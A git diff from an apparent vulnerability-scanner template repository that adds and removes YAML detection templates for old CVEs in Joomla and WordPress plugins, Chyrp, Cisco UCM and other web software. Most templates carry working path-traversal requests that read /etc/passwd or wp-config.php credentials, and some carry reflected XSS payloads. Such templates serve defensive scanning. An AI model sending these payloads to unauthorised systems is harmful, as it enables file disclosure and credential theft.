a/poc/cve/cve-2010-4977-2017.yaml b/poc/cve/cve-2010-4977-2017.yaml deleted file mode 100644 index 3071d2b568..0000000000 --- a/poc/cve/cve-2010-4977-2017.yaml +++ /dev/null @@ -1,32 +0,0 @@ -id: CVE-2010-4977 - -info: - name: Joomla! Component Canteen 1.0 - Local File Inclusion - author: daffainfo - severity: high - description: A SQL injection vulnerability in menu.php in the Canteen (com_canteen) component 1.0 for Joomla! allows remote attackers to execute arbitrary SQL commands via the mealid parameter to index.php. - remediation: Upgrade to a supported version. - reference: - - https://www.exploit-db.com/exploits/34250 - - https://www.cvedetails.com/cve/CVE-2010-4977 - tags: cve,cve2010,joomla,lfi - classification: - cve-id: CVE-2010-4977 - -requests: - - method: GET - path: - - "{{BaseURL}}/index.php?option=com_canteen&controller=../../../../../etc/passwd%00" - - matchers-condition: and - matchers: - - - type: regex - regex: - - "root:.*:0:0:" - - - type: status - status: - - 200 - -# Enhanced by mp on 2022/02/18 diff --git a/poc/cve/cve-2010-5278.yaml b/poc/cve/cve-2010-5278.yaml deleted file mode 100644 index 7bc17d9f24..0000000000 --- a/poc/cve/cve-2010-5278.yaml +++ /dev/null @@ -1,35 +0,0 @@ -id: CVE-2010-5278 - -info: - name: MODx manager - Local File Inclusion - author: daffainfo - severity: high - description: A directory traversal vulnerability in manager/controllers/default/resource/tvs.php in MODx Revolution 2.0.2-pl and possibly earlier allows remote attackers to read arbitrary files via a .. (dot dot) in the class_key parameter when magic_quotes_gpc is disabled. - reference: - - https://www.exploit-db.com/exploits/34788 - - https://www.cvedetails.com/cve/CVE-2010-5278 - - http://packetstormsecurity.org/1009-exploits/modx202pl-lfi.txt - - http://secunia.com/advisories/41638 - classification: - cve-id: CVE-2010-5278 - tags: cve,cve2010,lfi - -requests: - - method: GET - path: - - "{{BaseURL}}/manager/controllers/default/resource/tvs.php?class_key=../../../../../../../../../../windows/win.ini%00" - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: word - words: - - "bit app support" - - "fonts" - - "extensions" - condition: and - part: body - -# Enhanced by mp on 2022/03/30 diff --git a/poc/cve/cve-2010-5286-2034.yaml b/poc/cve/cve-2010-5286-2034.yaml deleted file mode 100644 index 093ef94c27..0000000000 --- a/poc/cve/cve-2010-5286-2034.yaml +++ /dev/null @@ -1,29 +0,0 @@ -id: CVE-2010-5286 -info: - name: Joomla! Component Jstore - 'Controller' Local File Inclusion - author: daffainfo - severity: high - description: A directory traversal vulnerability in Jstore (com_jstore) component for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php. - reference: - - https://www.exploit-db.com/exploits/34837 - - https://www.cvedetails.com/cve/CVE-2010-5286 - - http://www.securityfocus.com/bid/44053 - - http://packetstormsecurity.org/1010-exploits/joomlajstore-lfi.txt - remediation: Upgrade to a supported version. - classification: - cve-id: CVE-2010-5286 - tags: cve,cve2010,joomla,lfi -requests: - - method: GET - path: - - "{{BaseURL}}/index.php?option=com_jstore&controller=./../../../../../../../../etc/passwd%00" - matchers-condition: and - matchers: - - type: regex - regex: - - "root:.*:0:0:" - - type: status - status: - - 200 - -# Enhanced by mp on 2022/02/18 diff --git a/poc/cve/cve-2011-1669.yaml b/poc/cve/cve-2011-1669.yaml deleted file mode 100644 index 709b2ef38d..0000000000 --- a/poc/cve/cve-2011-1669.yaml +++ /dev/null @@ -1,34 +0,0 @@ -id: CVE-2011-1669 - -info: - name: WP Custom Pages 0.5.0.1 - Local File Inclusion (LFI) - author: daffainfo - severity: high - description: A directory traversal vulnerability in wp-download.php in the WP Custom Pages module 0.5.0.1 for WordPress allows remote attackers to read arbitrary files via ..%2F (encoded dot dot) sequences in the url parameter. - reference: - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1669 - - https://www.exploit-db.com/exploits/17119 - - http://web.archive.org/web/20210121212348/https://www.securityfocus.com/bid/47146/ - - http://www.securityfocus.com/bid/47146 - remediation: Upgrade to a supported version. - classification: - cve-id: CVE-2011-1669 - tags: cve,cve2011,wordpress,wp-plugin,lfi - -requests: - - method: GET - path: - - "{{BaseURL}}/wp-content/plugins/wp-custom-pages/wp-download.php?url=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd" - - matchers-condition: and - matchers: - - - type: regex - regex: - - "root:.*:0:0:" - - - type: status - status: - - 200 - -# Enhanced by mp on 2022/02/18 diff --git a/poc/cve/cve-2011-2744-2051.yaml b/poc/cve/cve-2011-2744-2051.yaml deleted file mode 100644 index d7d70097a3..0000000000 --- a/poc/cve/cve-2011-2744-2051.yaml +++ /dev/null @@ -1,28 +0,0 @@ -id: CVE-2011-2744 -info: - name: Chyrp 2.x - Local File Inclusion - author: daffainfo - severity: high - description: A directory traversal vulnerability in Chyrp 2.1 and earlier allows remote attackers to include and execute arbitrary local files via a ..%2F (encoded dot dot slash) in the action parameter to the default URI. - reference: - - https://www.exploit-db.com/exploits/35945 - - https://www.cvedetails.com/cve/CVE-2011-2744 - - http://www.openwall.com/lists/oss-security/2011/07/13/6 - - http://secunia.com/advisories/45184 - classification: - cve-id: CVE-2011-2744 - tags: cve,cve2011,lfi,chyrp -requests: - - method: GET - path: - - "{{BaseURL}}/?action=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00" - matchers-condition: and - matchers: - - type: regex - regex: - - "root:.*:0:0:" - - type: status - status: - - 200 - -# Enhanced by mp on 2022/02/18 diff --git a/poc/cve/cve-2011-2780.yaml b/poc/cve/cve-2011-2780.yaml deleted file mode 100644 index 28591895f0..0000000000 --- a/poc/cve/cve-2011-2780.yaml +++ /dev/null @@ -1,39 +0,0 @@ -id: CVE-2011-2780 - -info: - name: Chyrp 2.x - Local File Inclusion - author: daffainfo - severity: high - description: A directory traversal vulnerability in includes/lib/gz.php in Chyrp 2.0 and earlier allows remote attackers to read arbitrary files via a .. (dot dot) in the file parameter, a different vulnerability than CVE-2011-2744. - reference: - - http://www.justanotherhacker.com/advisories/JAHx113.txt - - http://www.openwall.com/lists/oss-security/2011/07/13/5 - - http://www.ocert.org/advisories/ocert-2011-001.html - - http://www.openwall.com/lists/oss-security/2011/07/13/6 - - http://web.archive.org/web/20210121214023/https://www.securityfocus.com/bid/48672/ - - http://secunia.com/advisories/45184 - - http://securityreason.com/securityalert/8312 - - https://exchange.xforce.ibmcloud.com/vulnerabilities/68565 - - http://web.archive.org/web/20201207104106/https://www.securityfocus.com/archive/1/518890/100/0/threaded - remediation: Upgrade to a supported version. - classification: - cve-id: CVE-2011-2780 - tags: cve,cve2011,lfi,chyrp - -requests: - - method: GET - path: - - "{{BaseURL}}/includes/lib/gz.php?file=/themes/../../../../../../../../../etc/passwd" - - matchers-condition: and - matchers: - - - type: regex - regex: - - "root:.*:0:0:" - - - type: status - status: - - 200 - -# Enhanced by mp on 2022/02/18 diff --git a/poc/cve/cve-2011-5265.yaml b/poc/cve/cve-2011-5265.yaml deleted file mode 100644 index 3a97f9f7c5..0000000000 --- a/poc/cve/cve-2011-5265.yaml +++ /dev/null @@ -1,48 +0,0 @@ -id: CVE-2011-5265 - -info: - name: Featurific For WordPress 1.6.2 - Cross-Site Scripting - author: daffainfo - severity: medium - description: A cross-site scripting vulnerability in cached_image.php in the Featurific For WordPress plugin 1.6.2 for WordPress allows remote attackers to inject arbitrary web script or HTML via the snum parameter. - remediation: | - Update to the latest version of the Featurific For WordPress plugin (1.6.2) or apply the vendor-supplied patch to fix the vulnerability. - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2011-5265 - - https://exchange.xforce.ibmcloud.com/vulnerabilities/71468 - classification: - cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N - cvss-score: 4.3 - cve-id: CVE-2011-5265 - cwe-id: CWE-79 - epss-score: 0.00478 - epss-percentile: 0.73097 - cpe: cpe:2.3:a:featurific_for_wordpress_project:featurific-for-wordpress:1.6.2:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: featurific_for_wordpress_project - product: featurific-for-wordpress - google-query: inurl:"/wp-content/plugins/featurific-for-wordpress" - tags: cve,cve2011,wordpress,xss,wp-plugin - -http: - - method: GET - path: - - '{{BaseURL}}/wp-content/plugins/featurific-for-wordpress/cached_image.php?snum=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' - - matchers-condition: and - matchers: - - type: word - part: body - words: - - "" - - - type: word - part: header - words: - - text/html - - - type: status - status: - - 200 -# digest: 490a0046304402207341348257e085e4b3aa204c8b081962ae4298b032376b43043d033d5819282a02204846e5a7368d7f0a2638cfb3f574fc5113c45dcdd8ffad36d13dadf1d6ff837a:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/cve-2012-0896.yaml b/poc/cve/cve-2012-0896.yaml new file mode 100644 index 0000000000..bda61c73ec --- /dev/null +++ b/poc/cve/cve-2012-0896.yaml @@ -0,0 +1,33 @@ +id: CVE-2012-0896 + +info: + name: Count Per Day <= 3.1 - download.php f Parameter Traversal Arbitrary File Access + author: daffainfo + severity: high + description: An absolute path traversal vulnerability in download.php in the Count Per Day module before 3.1.1 for WordPress allows remote attackers to read arbitrary files via the f parameter. + reference: + - https://packetstormsecurity.com/files/108631/ + - https://www.cvedetails.com/cve/CVE-2012-0896 + - http://secunia.com/advisories/47529 + - http://plugins.trac.wordpress.org/changeset/488883/count-per-day + classification: + cve-id: CVE-2012-0896 + tags: cve,cve2012,lfi,wordpress,wp-plugin,traversal + +requests: + - method: GET + path: + - "{{BaseURL}}/wp-content/plugins/count-per-day/download.php?n=1&f=/etc/passwd" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0:" + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/02/21 diff --git a/poc/cve/cve-2012-0981.yaml b/poc/cve/cve-2012-0981.yaml new file mode 100644 index 0000000000..eef133b20b --- /dev/null +++ b/poc/cve/cve-2012-0981.yaml @@ -0,0 +1,33 @@ +id: CVE-2012-0981 + +info: + name: phpShowtime 2.0 - Directory Traversal + author: daffainfo + severity: high + description: A directory traversal vulnerability in phpShowtime 2.0 allows remote attackers to list arbitrary directories and image files via a .. (dot dot) in the r parameter to index.php. + reference: + - https://www.exploit-db.com/exploits/18435 + - https://www.cvedetails.com/cve/CVE-2012-0981 + - http://secunia.com/advisories/47802 + - http://www.exploit-db.com/exploits/18435 + classification: + cve-id: CVE-2012-0981 + tags: cve,cve2012,lfi,phpshowtime + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?r=i/../../../../../etc/passwd" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0:" + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/02/21 diff --git a/poc/cve/cve-2012-0991.yaml b/poc/cve/cve-2012-0991.yaml deleted file mode 100644 index 35255af754..0000000000 --- a/poc/cve/cve-2012-0991.yaml +++ /dev/null @@ -1,33 +0,0 @@ -id: CVE-2012-0991 - -info: - name: OpenEMR 4.1 - Local File Inclusion - author: daffainfo - severity: high - description: Multiple directory traversal vulnerabilities in OpenEMR 4.1.0 allow remote authenticated users to read arbitrary files via a .. (dot dot) in the formname parameter to (1) contrib/acog/print_form.php; or (2) load_form.php, (3) view_form.php, or (4) trend_form.php in interface/patient_file/encounter. - reference: - - https://www.exploit-db.com/exploits/36650 - - https://www.cvedetails.com/cve/CVE-2012-0991 - - http://web.archive.org/web/20210121221715/https://www.securityfocus.com/bid/51788/ - - http://osvdb.org/78729 - classification: - cve-id: CVE-2012-0991 - tags: cve,cve2012,lfi,openemr,traversal - -requests: - - method: GET - path: - - "{{BaseURL}}/contrib/acog/print_form.php?formname=../../../etc/passwd%00" - - matchers-condition: and - matchers: - - - type: regex - regex: - - "root:.*:0:0:" - - - type: status - status: - - 200 - -# Enhanced by mp on 2022/02/21 diff --git a/poc/cve/cve-2012-2371.yaml b/poc/cve/cve-2012-2371.yaml new file mode 100644 index 0000000000..27614e05bc --- /dev/null +++ b/poc/cve/cve-2012-2371.yaml @@ -0,0 +1,50 @@ +id: CVE-2012-2371 + +info: + name: WP-FaceThumb 0.1 - Cross-Site Scripting + author: daffainfo + severity: medium + description: A cross-site scripting vulnerability in index.php in the WP-FaceThumb plugin 0.1 for WordPress allows remote attackers to inject arbitrary web script or HTML via the pagination_wp_facethumb parameter. + remediation: | + Update to the latest version of the WP-FaceThumb plugin (0.2 or higher) which includes proper input sanitization to mitigate the XSS vulnerability. + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2012-2371 + - http://www.openwall.com/lists/oss-security/2012/05/15/12 + - http://packetstormsecurity.org/files/112658/WordPress-WP-FaceThumb-Gallery-0.1-Cross-Site-Scripting.html + - http://wordpress.org/support/topic/plugin-wp-facethumb-reflected-xss-vulnerability-cwe-79 + - http://www.openwall.com/lists/oss-security/2012/05/16/1 + classification: + cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N + cvss-score: 4.3 + cve-id: CVE-2012-2371 + cwe-id: CWE-79 + epss-score: 0.00825 + epss-percentile: 0.79974 + cpe: cpe:2.3:a:mnt-tech:wp-facethumb:0.1:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: mnt-tech + product: wp-facethumb + tags: packetstorm,cve,cve2012,wordpress,xss,wp-plugin + +http: + - method: GET + path: + - '{{BaseURL}}/?page_id=1&pagination_wp_facethumb=1%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "" + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 +# digest: 490a0046304402203ed6d753c323a3a6bec82c92c318bf9c494fa3b7b1471e77916b418e8bda843d022073aca0b09ce0b0bd30a909c4f88168507ac148074ad060244f1ada17bb00066e:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/cve-2012-4273-2198.yaml b/poc/cve/cve-2012-4273-2198.yaml deleted file mode 100644 index eec897c5e8..0000000000 --- a/poc/cve/cve-2012-4273-2198.yaml +++ /dev/null @@ -1,33 +0,0 @@ -id: CVE-2012-4273 -info: - name: 2 Click Socialmedia Buttons < 0.34 - Reflected Cross Site Scripting - author: daffainfo - severity: medium - description: A cross-site scripting vulnerability in libs/xing.php in the 2 Click Social Media Buttons plugin before 0.34 for WordPress allows remote attackers to inject arbitrary web script or HTML via the xing-url parameter. - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2012-4273 - - http://plugins.trac.wordpress.org/changeset?old_path=%2F2-click-socialmedia-buttons&old=532798&new_path=%2F2-click-socialmedia-buttons&new=532798 - - http://wordpress.org/extend/plugins/2-click-socialmedia-buttons/changelog/ - - http://packetstormsecurity.org/files/112615/WordPress-2-Click-Socialmedia-Buttons-Cross-Site-Scripting.html - classification: - cve-id: CVE-2012-4273 - tags: cve,cve2012,wordpress,xss,wp-plugin -requests: - - method: GET - path: - - '{{BaseURL}}/wp-content/plugins/2-click-socialmedia-buttons/libs/xing.php?xing-url=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' - matchers-condition: and - matchers: - - type: word - words: - - "" - part: body - - type: word - part: header - words: - - text/html - - type: status - status: - - 200 - -# Enhanced by mp on 2022/02/21 diff --git a/poc/cve/cve-2013-2287.yaml b/poc/cve/cve-2013-2287.yaml deleted file mode 100644 index b53a7dee44..0000000000 --- a/poc/cve/cve-2013-2287.yaml +++ /dev/null @@ -1,48 +0,0 @@ -id: CVE-2013-2287 - -info: - name: WordPress Plugin Uploader 1.0.4 - Cross-Site Scripting - author: daffainfo - severity: medium - description: Multiple cross-site scripting vulnerabilities in views/notify.php in the Uploader plugin 1.0.4 for WordPress allow remote attackers to inject arbitrary web script or HTML via the (1) notify or (2) blog parameter. - remediation: | - Update to the latest version of the WordPress Plugin Uploader or apply a patch provided by the vendor to fix the XSS vulnerability. - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2013-2287 - - https://www.dognaedis.com/vulns/DGS-SEC-16.html - classification: - cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N - cvss-score: 4.3 - cve-id: CVE-2013-2287 - cwe-id: CWE-79 - epss-score: 0.00219 - epss-percentile: 0.59773 - cpe: cpe:2.3:a:roberta_bramski:uploader:1.0.4:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: roberta_bramski - product: uploader - google-query: inurl:"/wp-content/plugins/uploader" - tags: cve,cve2013,wordpress,xss,wp-plugin - -http: - - method: GET - path: - - '{{BaseURL}}/wp-content/plugins/uploader/views/notify.php?notify=unnotif&blog=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' - - matchers-condition: and - matchers: - - type: word - part: body - words: - - "" - - - type: word - part: header - words: - - text/html - - - type: status - status: - - 200 -# digest: 4a0a0047304502207546a2e6c608e61c1cbc6d035fa8be8d378664d03afc638f521b5ca8b94525d20221008708bd25339a646d988103bbfda7d38f260e650a1c6b05af93ef2c79a661bf58:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/cve-2013-5528.yaml b/poc/cve/cve-2013-5528.yaml new file mode 100644 index 0000000000..054a82604c --- /dev/null +++ b/poc/cve/cve-2013-5528.yaml @@ -0,0 +1,33 @@ +id: CVE-2013-5528 + +info: + name: Cisco Unified Communications Manager 7/8/9 - Directory Traversal + author: daffainfo + severity: high + description: A directory traversal vulnerability in the Tomcat administrative web interface in Cisco Unified Communications Manager allows remote authenticated users to read arbitrary files via directory traversal sequences in an unspecified input string, aka Bug ID CSCui78815 + reference: + - https://www.exploit-db.com/exploits/40887 + - https://nvd.nist.gov/vuln/detail/CVE-2014-3120 + - http://tools.cisco.com/security/center/content/CiscoSecurityNotice/CVE-2013-5528 + - http://web.archive.org/web/20210122130958/https://www.securityfocus.com/bid/62960/ + classification: + cve-id: CVE-2013-5528 + tags: cve,cve2013,lfi,cisco + +requests: + - method: GET + path: + - "{{BaseURL}}/ccmadmin/bulkvivewfilecontents.do?filetype=samplefile&fileName=../../../../../../../../../../../../../../../../etc/passwd" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0:" + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/02/24 diff --git a/poc/cve/cve-2013-5979-2280.yaml b/poc/cve/cve-2013-5979-2280.yaml new file mode 100644 index 0000000000..1149dd7311 --- /dev/null +++ b/poc/cve/cve-2013-5979-2280.yaml @@ -0,0 +1,28 @@ +id: CVE-2013-5979 +info: + name: Xibo 1.2.2/1.4.1 - Directory Traversal + author: daffainfo + severity: high + description: A directory traversal vulnerability in Spring Signage Xibo 1.2.x before 1.2.3 and 1.4.x before 1.4.2 allows remote attackers to read arbitrary files via a .. (dot dot) in the p parameter to index.php. + reference: + - https://www.exploit-db.com/exploits/26955 + - https://nvd.nist.gov/vuln/detail/CVE-2013-5979 + - https://www.cvedetails.com/cve/CVE-2013-5979 + - https://bugs.launchpad.net/xibo/+bug/1093967 + classification: + cve-id: CVE-2013-5979 + tags: cve,cve2013,lfi +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?p=../../../../../../../../../../../../../../../../etc/passwd%00index&q=About&ajax=true&_=1355714673828" + matchers-condition: and + matchers: + - type: regex + regex: + - "root:.*:0:0:" + - type: status + status: + - 200 + +# Enhanced by mp on 2022/02/24 diff --git a/poc/cve/cve-2013-5979.yaml b/poc/cve/cve-2013-5979.yaml new file mode 100644 index 0000000000..7ad29aa3ce --- /dev/null +++ b/poc/cve/cve-2013-5979.yaml @@ -0,0 +1,33 @@ +id: CVE-2013-5979 + +info: + name: Xibo 1.2.2/1.4.1 - Directory Traversal + author: daffainfo + severity: high + description: A directory traversal vulnerability in Spring Signage Xibo 1.2.x before 1.2.3 and 1.4.x before 1.4.2 allows remote attackers to read arbitrary files via a .. (dot dot) in the p parameter to index.php. + reference: + - https://www.exploit-db.com/exploits/26955 + - https://nvd.nist.gov/vuln/detail/CVE-2013-5979 + - https://www.cvedetails.com/cve/CVE-2013-5979 + - https://bugs.launchpad.net/xibo/+bug/1093967 + classification: + cve-id: CVE-2013-5979 + tags: cve,cve2013,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?p=../../../../../../../../../../../../../../../../etc/passwd%00index&q=About&ajax=true&_=1355714673828" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0:" + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/02/24 diff --git a/poc/cve/cve-2013-7240-2290.yaml b/poc/cve/cve-2013-7240-2290.yaml new file mode 100644 index 0000000000..f1d33f2a43 --- /dev/null +++ b/poc/cve/cve-2013-7240-2290.yaml @@ -0,0 +1,36 @@ +id: CVE-2013-7240 +info: + name: WordPress Plugin Advanced Dewplayer 1.2 - Directory Traversal + author: daffainfo + severity: high + description: A directory traversal vulnerability in download-file.php in the Advanced Dewplayer plugin 1.2 for WordPress allows remote attackers to read arbitrary files via a .. (dot dot) in the dew_file parameter. + reference: + - https://www.exploit-db.com/exploits/38936 + - https://nvd.nist.gov/vuln/detail/CVE-2013-7240 + - https://wordpress.org/support/topic/security-vulnerability-cve-2013-7240-directory-traversal/ + - http://seclists.org/oss-sec/2013/q4/570 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2013-7240 + cwe-id: CWE-22 + tags: cve,cve2013,wordpress,wp-plugin,lfi +requests: + - method: GET + path: + - '{{BaseURL}}/wp-content/plugins/advanced-dewplayer/admin-panel/download-file.php?dew_file=../../../../wp-config.php' + matchers-condition: and + matchers: + - type: word + words: + - "DB_NAME" + - "DB_PASSWORD" + - "DB_HOST" + - "The base configurations of the WordPress" + part: body + condition: and + - type: status + status: + - 200 + +# Enhanced by mp on 2022/02/24 diff --git a/poc/cve/cve-2013-7240.yaml b/poc/cve/cve-2013-7240.yaml new file mode 100644 index 0000000000..6ad0335e9a --- /dev/null +++ b/poc/cve/cve-2013-7240.yaml @@ -0,0 +1,40 @@ +id: CVE-2013-7240 + +info: + name: WordPress Plugin Advanced Dewplayer 1.2 - Directory Traversal + author: daffainfo + severity: high + description: A directory traversal vulnerability in download-file.php in the Advanced Dewplayer plugin 1.2 for WordPress allows remote attackers to read arbitrary files via a .. (dot dot) in the dew_file parameter. + reference: + - https://www.exploit-db.com/exploits/38936 + - https://nvd.nist.gov/vuln/detail/CVE-2013-7240 + - https://wordpress.org/support/topic/security-vulnerability-cve-2013-7240-directory-traversal/ + - http://seclists.org/oss-sec/2013/q4/570 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2013-7240 + cwe-id: CWE-22 + tags: cve,cve2013,wordpress,wp-plugin,lfi + +requests: + - method: GET + path: + - '{{BaseURL}}/wp-content/plugins/advanced-dewplayer/admin-panel/download-file.php?dew_file=../../../../wp-config.php' + + matchers-condition: and + matchers: + - type: word + words: + - "DB_NAME" + - "DB_PASSWORD" + - "DB_HOST" + - "The base configurations of the WordPress" + part: body + condition: and + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/02/24 diff --git a/poc/cve/cve-2014-2962-2313.yaml b/poc/cve/cve-2014-2962-2313.yaml deleted file mode 100644 index 2456af7a2e..0000000000 --- a/poc/cve/cve-2014-2962-2313.yaml +++ /dev/null @@ -1,25 +0,0 @@ -id: CVE-2014-2962 - -info: - name: Belkin N150 Router 1.00.08/1.00.09 - Directory Traversal - author: daffainfo - severity: high - description: Path traversal vulnerability in the webproc cgi module on the Belkin N150 F9K1009 v1 router with firmware before 1.00.08 allows remote attackers to read arbitrary files via a full pathname in the getpage parameter. - reference: https://www.exploit-db.com/exploits/38488 - tags: cve,cve2014,lfi,router,firmware,traversal - -requests: - - method: GET - path: - - "{{BaseURL}}/cgi-bin/webproc?getpage=/etc/passwd&var:page=deviceinfo" - - matchers-condition: and - matchers: - - - type: regex - regex: - - "root:.*:0:0" - - - type: status - status: - - 200 diff --git a/poc/cve/cve-2014-4513-2344.yaml b/poc/cve/cve-2014-4513-2344.yaml deleted file mode 100644 index 96a706f261..0000000000 --- a/poc/cve/cve-2014-4513-2344.yaml +++ /dev/null @@ -1,38 +0,0 @@ -id: CVE-2014-4513 - -info: - name: ActiveHelper LiveHelp Server 3.1.0 - Reflected Cross-Site Scripting - author: daffainfo - severity: medium - description: Multiple cross-site scripting vulnerabilities in server/offline.php in the ActiveHelper LiveHelp Live Chat plugin 3.1.0 and earlier for WordPress allow remote attackers to inject arbitrary web script or HTML via the (1) MESSAGE, (2) EMAIL, or (3) NAME parameter. - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2014-4513 - - http://codevigilant.com/disclosure/wp-plugin-activehelper-livehelp-a3-cross-site-scripting-xss - classification: - cve-id: CVE-2014-4513 - metadata: - google-query: inurl:"/wp-content/plugins/activehelper-livehelp" - tags: cve,cve2014,wordpress,xss,wp-plugin - -requests: - - method: GET - path: - - '{{BaseURL}}/wp-content/plugins/activehelper-livehelp/server/offline.php?MESSAGE=MESSAGE%3C%2Ftextarea%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&DOMAINID=DOMAINID&COMPLETE=COMPLETE&TITLE=TITLE&URL=URL&COMPANY=COMPANY&SERVER=SERVER&PHONE=PHONE&SECURITY=SECURITY&BCC=BCC&EMAIL=EMAIL%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&NAME=NAME%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&' - - matchers-condition: and - matchers: - - type: word - words: - - "" - part: body - - - type: word - part: header - words: - - text/html - - - type: status - status: - - 200 - -# Enhanced by mp on 2022/02/24 diff --git a/poc/cve/cve-2014-4940.yaml b/poc/cve/cve-2014-4940.yaml new file mode 100644 index 0000000000..13f17a9af9 --- /dev/null +++ b/poc/cve/cve-2014-4940.yaml @@ -0,0 +1,32 @@ +id: CVE-2014-4940 + +info: + name: WordPress Plugin Tera Charts - Directory Traversal + author: daffainfo + severity: high + description: Multiple directory traversal vulnerabilities in Tera Charts (tera-charts) plugin 0.1 for WordPress allow remote attackers to read arbitrary files via a .. (dot dot) in the fn parameter to (1) charts/treemap.php or (2) charts/zoomabletreemap.php. + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2014-4940 + - https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=851874%40tera-charts&old=799253%40tera-charts&sfp_email=&sfph_mail= + - http://codevigilant.com/disclosure/wp-plugin-tera-chart-local-file-inclusion/ + classification: + cve-id: CVE-2014-4940 + tags: cve,cve2014,wordpress,wp-plugin,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/wp-content/plugins/tera-charts/charts/zoomabletreemap.php?fn=../../../../../etc/passwd" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0:" + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/02/24 diff --git a/poc/cve/cve-2014-9615-2446.yaml b/poc/cve/cve-2014-9615-2446.yaml deleted file mode 100644 index a519d1a618..0000000000 --- a/poc/cve/cve-2014-9615-2446.yaml +++ /dev/null @@ -1,35 +0,0 @@ -id: CVE-2014-9615 -info: - name: Netsweeper 4.0.4 - Cross-Site Scripting - author: daffainfo - severity: medium - description: A cross-site scripting vulnerability in Netsweeper 4.0.4 allows remote attackers to inject arbitrary web script or HTML via the url parameter to webadmin/deny/index.php. - reference: - - https://packetstormsecurity.com/files/download/133034/netsweeper-issues.tgz - - https://nvd.nist.gov/vuln/detail/CVE-2014-9615 - - http://packetstormsecurity.com/files/133034/Netsweeper-Bypass-XSS-Redirection-SQL-Injection-Execution.html - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2014-9615 - cwe-id: CWE-79 - tags: cve,cve2014,netsweeper,xss -requests: - - method: GET - path: - - '{{BaseURL}}/webadmin/deny/index.php?dpid=1&dpruleid=1&cat=1&ttl=5018400&groupname=' - - type: word - part: header - words: - - text/html - - type: status - status: - - 200 - -# Enhanced by mp on 2022/02/25 diff --git a/poc/cve/cve-2014-9617-2447.yaml b/poc/cve/cve-2014-9617-2447.yaml deleted file mode 100644 index a8e18df14d..0000000000 --- a/poc/cve/cve-2014-9617-2447.yaml +++ /dev/null @@ -1,29 +0,0 @@ -id: CVE-2014-9617 - -info: - name: Netsweeper 3.0.6 - Open Redirection - author: daffainfo - severity: medium - description: An open redirect vulnerability in remotereporter/load_logfiles.php in Netsweeper before 4.0.5 allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL in the url parameter. - reference: - - https://packetstormsecurity.com/files/download/133034/netsweeper-issues.tgz - - https://nvd.nist.gov/vuln/detail/CVE-2014-9617 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.10 - cve-id: CVE-2014-9617 - cwe-id: CWE-601 - tags: cve,cve2014,netsweeper,redirect - -requests: - - method: GET - path: - - "{{BaseURL}}/remotereporter/load_logfiles.php?server=127.0.0.1&url=https://example.com/" - - matchers: - - type: regex - part: header - regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)(?:[a-zA-Z0-9\-_\.@]*)example\.com.*$' - -# Enhanced by mp on 2022/02/25 diff --git a/poc/cve/cve-2015-0554-2456.yaml b/poc/cve/cve-2015-0554-2456.yaml new file mode 100644 index 0000000000..af65820b4d --- /dev/null +++ b/poc/cve/cve-2015-0554-2456.yaml @@ -0,0 +1,32 